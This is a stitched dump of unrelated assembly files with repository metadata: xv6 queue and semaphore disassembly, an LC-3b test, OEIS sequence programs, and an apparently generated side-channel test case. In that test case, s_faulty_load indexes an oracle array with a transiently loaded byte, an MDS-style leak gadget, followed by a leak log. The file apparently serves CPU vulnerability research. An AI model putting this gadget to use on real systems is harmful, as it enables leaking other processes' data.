1e12: 8b 45 08 mov 0x8(%ebp),%eax
1e15: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
1e1c: 5d pop %ebp
1e1d: c3 ret
00001e1e <add_q>:
void add_q(struct queue *q, int v){
1e1e: 55 push %ebp
1e1f: 89 e5 mov %esp,%ebp
1e21: 83 ec 28 sub $0x28,%esp
struct node * n = malloc(sizeof(struct node));
1e24: c7 04 24 08 00 00 00 movl $0x8,(%esp)
1e2b: e8 8f fd ff ff call 1bbf <malloc>
1e30: 89 45 f4 mov %eax,-0xc(%ebp)
n->next = 0;
1e33: 8b 45 f4 mov -0xc(%ebp),%eax
1e36: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->value = v;
1e3d: 8b 45 f4 mov -0xc(%ebp),%eax
1e40: 8b 55 0c mov 0xc(%ebp),%edx
1e43: 89 10 mov %edx,(%eax)
if(q->head == 0){
1e45: 8b 45 08 mov 0x8(%ebp),%eax
1e48: 8b 40 04 mov 0x4(%eax),%eax
1e4b: 85 c0 test %eax,%eax
1e4d: 75 0b jne 1e5a <add_q+0x3c>
q->head = n;
1e4f: 8b 45 08 mov 0x8(%ebp),%eax
1e52: 8b 55 f4 mov -0xc(%ebp),%edx
1e55: 89 50 04 mov %edx,0x4(%eax)
1e58: eb 0c jmp 1e66 <add_q+0x48>
}else{
q->tail->next = n;
1e5a: 8b 45 08 mov 0x8(%ebp),%eax
1e5d: 8b 40 08 mov 0x8(%eax),%eax
1e60: 8b 55 f4 mov -0xc(%ebp),%edx
1e63: 89 50 04 mov %edx,0x4(%eax)
}
q->tail = n;
1e66: 8b 45 08 mov 0x8(%ebp),%eax
1e69: 8b 55 f4 mov -0xc(%ebp),%edx
1e6c: 89 50 08 mov %edx,0x8(%eax)
q->size++;
1e6f: 8b 45 08 mov 0x8(%ebp),%eax
1e72: 8b 00 mov (%eax),%eax
1e74: 8d 50 01 lea 0x1(%eax),%edx
1e77: 8b 45 08 mov 0x8(%ebp),%eax
1e7a: 89 10 mov %edx,(%eax)
}
1e7c: c9 leave
1e7d: c3 ret
00001e7e <empty_q>:
int empty_q(struct queue *q){
1e7e: 55 push %ebp
1e7f: 89 e5 mov %esp,%ebp
if(q->size == 0)
1e81: 8b 45 08 mov 0x8(%ebp),%eax
1e84: 8b 00 mov (%eax),%eax
1e86: 85 c0 test %eax,%eax
1e88: 75 07 jne 1e91 <empty_q+0x13>
return 1;
1e8a: b8 01 00 00 00 mov $0x1,%eax
1e8f: eb 05 jmp 1e96 <empty_q+0x18>
else
return 0;
1e91: b8 00 00 00 00 mov $0x0,%eax
}
1e96: 5d pop %ebp
1e97: c3 ret
00001e98 <pop_q>:
int pop_q(struct queue *q){
1e98: 55 push %ebp
1e99: 89 e5 mov %esp,%ebp
1e9b: 83 ec 28 sub $0x28,%esp
int val;
struct node *destroy;
if(!empty_q(q)){
1e9e: 8b 45 08 mov 0x8(%ebp),%eax
1ea1: 89 04 24 mov %eax,(%esp)
1ea4: e8 d5 ff ff ff call 1e7e <empty_q>
1ea9: 85 c0 test %eax,%eax
1eab: 75 5d jne 1f0a <pop_q+0x72>
val = q->head->value;
1ead: 8b 45 08 mov 0x8(%ebp),%eax
1eb0: 8b 40 04 mov 0x4(%eax),%eax
1eb3: 8b 00 mov (%eax),%eax
1eb5: 89 45 f0 mov %eax,-0x10(%ebp)
destroy = q->head;
1eb8: 8b 45 08 mov 0x8(%ebp),%eax
1ebb: 8b 40 04 mov 0x4(%eax),%eax
1ebe: 89 45 f4 mov %eax,-0xc(%ebp)
q->head = q->head->next;
1ec1: 8b 45 08 mov 0x8(%ebp),%eax
1ec4: 8b 40 04 mov 0x4(%eax),%eax
1ec7: 8b 50 04 mov 0x4(%eax),%edx
1eca: 8b 45 08 mov 0x8(%ebp),%eax
1ecd: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
1ed0: 8b 45 f4 mov -0xc(%ebp),%eax
1ed3: 89 04 24 mov %eax,(%esp)
1ed6: e8 b5 fb ff ff call 1a90 <free>
q->size--;
1edb: 8b 45 08 mov 0x8(%ebp),%eax
1ede: 8b 00 mov (%eax),%eax
1ee0: 8d 50 ff lea -0x1(%eax),%edx
1ee3: 8b 45 08 mov 0x8(%ebp),%eax
1ee6: 89 10 mov %edx,(%eax)
if(q->size == 0){
1ee8: 8b 45 08 mov 0x8(%ebp),%eax
1eeb: 8b 00 mov (%eax),%eax
1eed: 85 c0 test %eax,%eax
1eef: 75 14 jne 1f05 <pop_q+0x6d>
q->head = 0;
1ef1: 8b 45 08 mov 0x8(%ebp),%eax
1ef4: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
1efb: 8b 45 08 mov 0x8(%ebp),%eax
1efe: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
1f05: 8b 45 f0 mov -0x10(%ebp),%eax
1f08: eb 05 jmp 1f0f <pop_q+0x77>
}
return -1;
1f0a: b8 ff ff ff ff mov $0xffffffff,%eax
}
1f0f: c9 leave
1f10: c3 ret
1f11: 90 nop
1f12: 90 nop
1f13: 90 nop
00001f14 <sem_acquire>:
#include "semaphore.h"
void sem_acquire(struct Semaphore *s)
{
1f14: 55 push %ebp
1f15: 89 e5 mov %esp,%ebp
1f17: 83 ec 18 sub $0x18,%esp
lock_acquire(&s->lock);
1f1a: 8b 45 08 mov 0x8(%ebp),%eax
1f1d: 89 04 24 mov %eax,(%esp)
1f20: e8 a3 fd ff ff call 1cc8 <lock_acquire>
s->count--;
1f25: 8b 45 08 mov 0x8(%ebp),%eax
1f28: 8b 40 04 mov 0x4(%eax),%eax
1f2b: 8d 50 ff lea -0x1(%eax),%edx
1f2e: 8b 45 08 mov 0x8(%ebp),%eax
1f31: 89 50 04 mov %edx,0x4(%eax)
if( s->count < 0)
1f34: 8b 45 08 mov 0x8(%ebp),%eax
1f37: 8b 40 04 mov 0x4(%eax),%eax
1f3a: 85 c0 test %eax,%eax
1f3c: 79 27 jns 1f65 <sem_acquire+0x51>
{
add_q(&s->q, getpid());
1f3e: e8 75 f8 ff ff call 17b8 <getpid>
1f43: 8b 55 08 mov 0x8(%ebp),%edx
1f46: 83 c2 08 add $0x8,%edx
1f49: 89 44 24 04 mov %eax,0x4(%esp)
1f4d: 89 14 24 mov %edx,(%esp)
1f50: e8 c9 fe ff ff call 1e1e <add_q>
lock_release(&s->lock);
1f55: 8b 45 08 mov 0x8(%ebp),%eax
1f58: 89 04 24 mov %eax,(%esp)
1f5b: e8 87 fd ff ff call 1ce7 <lock_release>
tsleep();
1f60: e8 83 f8 ff ff call 17e8 <tsleep>
}
lock_release(&s->lock);
1f65: 8b 45 08 mov 0x8(%ebp),%eax
1f68: 89 04 24 mov %eax,(%esp)
1f6b: e8 77 fd ff ff call 1ce7 <lock_release>
}
1f70: c9 leave
1f71: c3 ret
00001f72 <sem_signal>:
void sem_signal(struct Semaphore *s)
{
1f72: 55 push %ebp
1f73: 89 e5 mov %esp,%ebp
1f75: 83 ec 28 sub $0x28,%esp
lock_acquire(&s->lock);
1f78: 8b 45 08 mov 0x8(%ebp),%eax
1f7b: 89 04 24 mov %eax,(%esp)
1f7e: e8 45 fd ff ff call 1cc8 <lock_acquire>
s->count++;
1f83: 8b 45 08 mov 0x8(%ebp),%eax
1f86: 8b 40 04 mov 0x4(%eax),%eax
1f89: 8d 50 01 lea 0x1(%eax),%edx
1f8c: 8b 45 08 mov 0x8(%ebp),%eax
1f8f: 89 50 04 mov %edx,0x4(%eax)
if( s->count <= 0)
1f92: 8b 45 08 mov 0x8(%ebp),%eax
1f95: 8b 40 04 mov 0x4(%eax),%eax
1f98: 85 c0 test %eax,%eax
1f9a: 7f 1c jg 1fb8 <sem_signal+0x46>
{
int tid = pop_q(&s->q);
1f9c: 8b 45 08 mov 0x8(%ebp),%eax
1f9f: 83 c0 08 add $0x8,%eax
1fa2: 89 04 24 mov %eax,(%esp)
1fa5: e8 ee fe ff ff call 1e98 <pop_q>
1faa: 89 45 f4 mov %eax,-0xc(%ebp)
twakeup(tid);
1fad: 8b 45 f4 mov -0xc(%ebp),%eax
1fb0: 89 04 24 mov %eax,(%esp)
1fb3: e8 38 f8 ff ff call 17f0 <twakeup>
}
lock_release(&s->lock);
1fb8: 8b 45 08 mov 0x8(%ebp),%eax
1fbb: 89 04 24 mov %eax,(%esp)
1fbe: e8 24 fd ff ff call 1ce7 <lock_release>
}
1fc3: c9 leave
1fc4: c3 ret
00001fc5 <sem_init>:
void sem_init(struct Semaphore *s, int size){
1fc5: 55 push %ebp
1fc6: 89 e5 mov %esp,%ebp
1fc8: 83 ec 18 sub $0x18,%esp
lock_init(&s->lock);
1fcb: 8b 45 08 mov 0x8(%ebp),%eax
1fce: 89 04 24 mov %eax,(%esp)
1fd1: e8 e4 fc ff ff call 1cba <lock_init>
s->count = size;
1fd6: 8b 45 08 mov 0x8(%ebp),%eax
1fd9: 8b 55 0c mov 0xc(%ebp),%edx
1fdc: 89 50 04 mov %edx,0x4(%eax)
init_q(&s->q);
1fdf: 8b 45 08 mov 0x8(%ebp),%eax
1fe2: 83 c0 08 add $0x8,%eax
1fe5: 89 04 24 mov %eax,(%esp)
1fe8: e8 0f fe ff ff call 1dfc <init_q>
}
1fed: c9 leave
1fee: c3 ret
| 37.487615
| 120
| 0.449571
|
9738a7e042287e35ad2fe4ceab2369631b1a150f
| 387
|
asm
|
Assembly
|
lab2/Lab2_test_case/4.asm
|
may811204/EE460NCompArchi
|
1ae7181c404456b1e7f642418800ea6100c31ed4
|
[
"MIT"
] | null | null | null |
lab2/Lab2_test_case/4.asm
|
may811204/EE460NCompArchi
|
1ae7181c404456b1e7f642418800ea6100c31ed4
|
[
"MIT"
] | null | null | null |
lab2/Lab2_test_case/4.asm
|
may811204/EE460NCompArchi
|
1ae7181c404456b1e7f642418800ea6100c31ed4
|
[
"MIT"
] | null | null | null |
;4.asm test shf, xor, not,trap
.ORIG X3000;
ADD R7, R7, #-5; R7=-5;
ADD R4, R7, #15; R4=10;
ADD R4, R4, X3; R4=13
ADD R3, R4, R7; R3=8;
XOR R3, R3, R4; R3=0X0005(0101)
XOR R4, R4, XF; R4=0X0002(0010)
NOT R5, R4; R5=0XFFFD N=1
LSHF R3,R3,#2; R3=32=0X0014;
RSHFA R5,R5,#1; R5=0XFFFe; ???
RSHFL R5,R5,#1;
LSHF R5,R5,#1;
TRAP X25; R7=PC+2, PC=0x3018
.end
| 24.1875
| 45
| 0.560724
|
76b4cdce747ba3332bbbb464cbeb2bf526b5b13b
| 455
|
asm
|
Assembly
|
oeis/131/A131751.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/131/A131751.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/131/A131751.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A131751: Numbers that are both centered triangular and centered pentagonal.
; 1,31,1891,117181,7263301,450207451,27905598631,1729696907641,107213302675081,6645495068947351,411913480972060651,25531990325198812981,1582571486681354344141,98093900183918770523731
seq $0,253654 ; Indices of pentagonal numbers (A000326) which are also centered pentagonal numbers (A005891).
div $0,5
mul $0,3
add $0,1
mul $0,2
sub $0,1
pow $0,2
div $0,48
mul $0,30
add $0,1
| 32.5
| 182
| 0.802198
|
db86b17481a878098b59eabd440bb3c3cad44c4d
| 5,078
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_ht_st_4k_/i9-9900K_12_0xca.log_21829_157.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_st_4k_/i9-9900K_12_0xca.log_21829_157.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_st_4k_/i9-9900K_12_0xca.log_21829_157.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x4810, %rsi
lea addresses_normal_ht+0x10adc, %rdi
nop
nop
nop
nop
nop
sub %rbp, %rbp
mov $117, %rcx
rep movsq
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rbp
push %rbx
push %rcx
push %rdx
push %rsi
// Store
mov $0xfdc, %r12
nop
nop
inc %r13
movb $0x51, (%r12)
nop
nop
xor $45983, %rcx
// Store
lea addresses_PSE+0x97dc, %rcx
nop
nop
nop
add %r13, %r13
movw $0x5152, (%rcx)
nop
add $27160, %rbx
// Store
mov $0x499ca20000000a0a, %r12
cmp %rbp, %rbp
mov $0x5152535455565758, %rbx
movq %rbx, %xmm5
vmovups %ymm5, (%r12)
nop
and %r13, %r13
// Store
lea addresses_WC+0xe7dc, %r13
nop
nop
nop
cmp $60693, %r12
movb $0x51, (%r13)
nop
nop
nop
nop
nop
sub %rcx, %rcx
// Faulty Load
lea addresses_UC+0x1b7dc, %rcx
cmp $18981, %rdx
mov (%rcx), %r12
lea oracles, %rcx
and $0xff, %r12
shlq $12, %r12
mov (%rcx,%r12,1), %r12
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': True, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 0}, 'dst': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 6}}
{'36': 1, '40': 1, '51': 21827}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 45.747748
| 2,999
| 0.65577
|
62f563c30aea860c7c38b9aa0e865321efb8c24d
| 776
|
asm
|
Assembly
|
programs/oeis/112/A112774.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/112/A112774.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/112/A112774.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A112774: Semiprimes of the form 6n+4.
; 4,10,22,34,46,58,82,94,106,118,142,166,178,202,214,226,262,274,298,334,346,358,382,394,454,466,478,502,514,526,538,562,586,622,634,694,706,718,766,778,802,838,862,886,898,922,934,958,982,1006,1018,1042,1114,1126,1138,1174,1186,1198,1234,1282,1294,1306,1318,1354,1366,1402,1438,1486,1522,1546,1594,1618,1642,1654,1678,1714,1726,1762,1774,1822,1858,1882,1894,1906,1942,1954,1966,2026,2038,2062,2098,2122,2182,2194,2206,2218,2302,2326,2362,2374
mov $1,1
mov $2,$0
pow $2,2
add $2,1
lpb $2
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,3
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,3
sub $1,2
mul $1,2
add $1,2
div $1,2
mul $1,6
add $1,4
mov $0,$1
| 28.740741
| 443
| 0.686856
|
f2addf5172f841c3e80a07d6c2698a2d30cf377a
| 257
|
asm
|
Assembly
|
libsrc/z80_crt0s/z80/sccz80/l_gcharsp.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 38
|
2021-06-18T12:56:15.000Z
|
2022-03-12T20:38:40.000Z
|
libsrc/z80_crt0s/z80/sccz80/l_gcharsp.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 2
|
2021-06-20T16:28:12.000Z
|
2021-11-17T21:33:56.000Z
|
libsrc/z80_crt0s/z80/sccz80/l_gcharsp.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 6
|
2021-06-18T18:18:36.000Z
|
2021-12-22T08:01:32.000Z
|
; Z88 Small C+ Run time Library
; l_gchar variant to be used sometimes by the peephole optimizer
;
SECTION code_crt0_sccz80
PUBLIC l_gcharsp
.l_gcharsp
add hl,sp
inc hl
inc hl
ld a,(hl)
ld l,a
rlca
sbc a,a
ld h,a
ret
| 15.117647
| 70
| 0.642023
|
2876407d71e350b3720d933b3398681730b30ecd
| 183
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/dread.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/dread.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/dread.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC dread1, dread2
EXTERN cm48_sccz80p_dread1, cm48_sccz80p_dread2
defc dread1 = cm48_sccz80p_dread1
defc dread2 = cm48_sccz80p_dread2
| 16.636364
| 47
| 0.857923
|
56c7ad4110ac99460d5671d217be7020d716168f
| 3,717
|
asm
|
Assembly
|
DSP/TI-Header/csl_c6455_src/src/chip/csl_chipWriteReg.asm
|
adildahlan/BE-thesis-Repo-McsDspRealtimeFeedback
|
fd61a78401bde72b0fb0d5df32f2fd1cbb631aeb
|
[
"BSD-2-Clause"
] | null | null | null |
DSP/TI-Header/csl_c6455_src/src/chip/csl_chipWriteReg.asm
|
adildahlan/BE-thesis-Repo-McsDspRealtimeFeedback
|
fd61a78401bde72b0fb0d5df32f2fd1cbb631aeb
|
[
"BSD-2-Clause"
] | null | null | null |
DSP/TI-Header/csl_c6455_src/src/chip/csl_chipWriteReg.asm
|
adildahlan/BE-thesis-Repo-McsDspRealtimeFeedback
|
fd61a78401bde72b0fb0d5df32f2fd1cbb631aeb
|
[
"BSD-2-Clause"
] | 1
|
2020-05-14T00:50:50.000Z
|
2020-05-14T00:50:50.000Z
|
;/* ==========================================================
; * Copyright (c) Texas Instruments Inc , 2004, 2005
; *
; * Use of this software is controlled by the terms and conditions found
; * in the license agreement under which this software has been supplied
; * priovided
; * ==========================================================
;*/
;/** @file csl_chipWriteReg.asm
; *
; * @brief CSL chip APIs
; *
; * @path $(CSLPATH)\chip\src
; *
; * Description
; * - API for writing of the control registers is defined here
; * @date 15th Apr, 2004
; */
;/* ============================================================================
; * Revision History
; * ===============
; * 07-Mar-2006 ds Added dummy code chipWriteNone2,
; * before ILC write in CSL_chipWriteReg () API
; * 19-May-2006 NG chipWriteREP moved from 32 to 15
; * Added a dummy code chipReadNone6 before chipWriteTSR
; * ============================================================================
; */
.global _CSL_chipWriteReg
_CSL_chipWriteReg:
mvk 12, a1
||mvkl chipRegTable,b0 ; The offset of the case is attempted to be obtained here
mvkh chipRegTable,b0
||mvk 12,a3
||nop
mpy a3,a4,a4
mvk 1, b5
||nop
add .s2 a4,b0,b0
||nop
bnop b0,5
chipRegTable:
chipWriteAMR:
bnop __end, 3
mvc .s2 amr,b5
mvc .s2 b4,amr
chipWriteCSR:
bnop __end, 3
mvc .s2 csr,b5
mvc .s2 b4,csr
chipWriteIFR:
chipWriteISR:
bnop __end, 3
mvc .s2 ifr,b5
mvc .s2 b4,isr
chipWriteICR:
bnop __end, 3
mvc .s2 ifr,b5 ;reading ifr since icr is not a valid source
mvc .s2 b4,icr
chipWriteIER:
bnop __end, 3
mvc .s2 ier,b5
mvc .s2 b4,ier
chipWriteISTP:
bnop __end, 3
mvc .s2 istp,b5
mvc .s2 b4,istp
chipWriteIRP:
bnop __end, 3
mvc .s2 irp,b5
mvc .s2 b4,irp
chipWriteNRP:
chipWriteERP:
bnop __end, 3
mvc .s2 nrp,b5
mvc .s2 b4,nrp
chipWriteNone0:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteNone1:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteTSCL:
bnop __end, 3
mvc .s2 tscl,b5
mvc .s2 b4,tscl
chipWriteTSCH:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteNone2:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteILC:
bnop __end, 3
mvc .s2 ilc,b5
mvc .s2 b4,ilc
chipWriteRILC:
bnop __end, 3
mvc .s2 rilc,b5
mvc .s2 b4,rilc
chipWriteREP:
bnop __end, 3
mvc .s2 rep,b5
mvc .s2 b4,rep
chipWritePCE1:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteDNUM:
bnop __end, 3
mvc .s2 dnum,b5
mpy 1, b5, b5
chipWriteNone3:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteNone4:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteNone5:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteSSR:
bnop __end, 3
mvc .s2 ssr,b5
mvc .s2 b4,ssr
chipWriteGPLYA:
bnop __end, 3
mvc .s2 gplya,b5
mvc .s2 b4,gplya
chipWriteGPLYB:
bnop __end, 3
mvc .s2 gplyb,b5
mvc .s2 b4,gplyb
chipWriteGFPGFR:
bnop __end, 3
mvc .s2 gfpgfr,b5
mvc .s2 b4,gfpgfr
chipWriteNone6:
mpy b5,b5,b5
bnop __end, 4
mpy b5,b5,b5
chipWriteTSR:
bnop __end, 3
mvc .s2 tsr,b5
mvc .s2 b4,tsr
chipWriteITSR:
bnop __end, 3
mvc .s2 itsr,b5
mvc .s2 b4,itsr
chipWriteNTSR:
bnop __end, 3
mvc .s2 ntsr,b5
mvc .s2 b4,ntsr
chipWriteEFR:
chipWriteECR:
bnop __end, 3
mvc .s2 efr,b5
mvc .s2 b4,ecr
chipWriteNone7:
mpy b5,b5,b5
bnop __end, 1
mpy b5,b5,b5
chipWriteIERR:
bnop __end, 3
mvc .s2 ierr,b5
mvc .s2 b4,ierr
__end:
b b3
mv .s1 b5,a4
nop 4
| 17.616114
| 83
| 0.571698
|
032db8cb859e2fe309ff74bce3ae78942d130811
| 1,531
|
asm
|
Assembly
|
programs/oeis/157/A157770.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/157/A157770.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/157/A157770.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A157770: 1482401250n^2 - 2134548900n + 768398401.
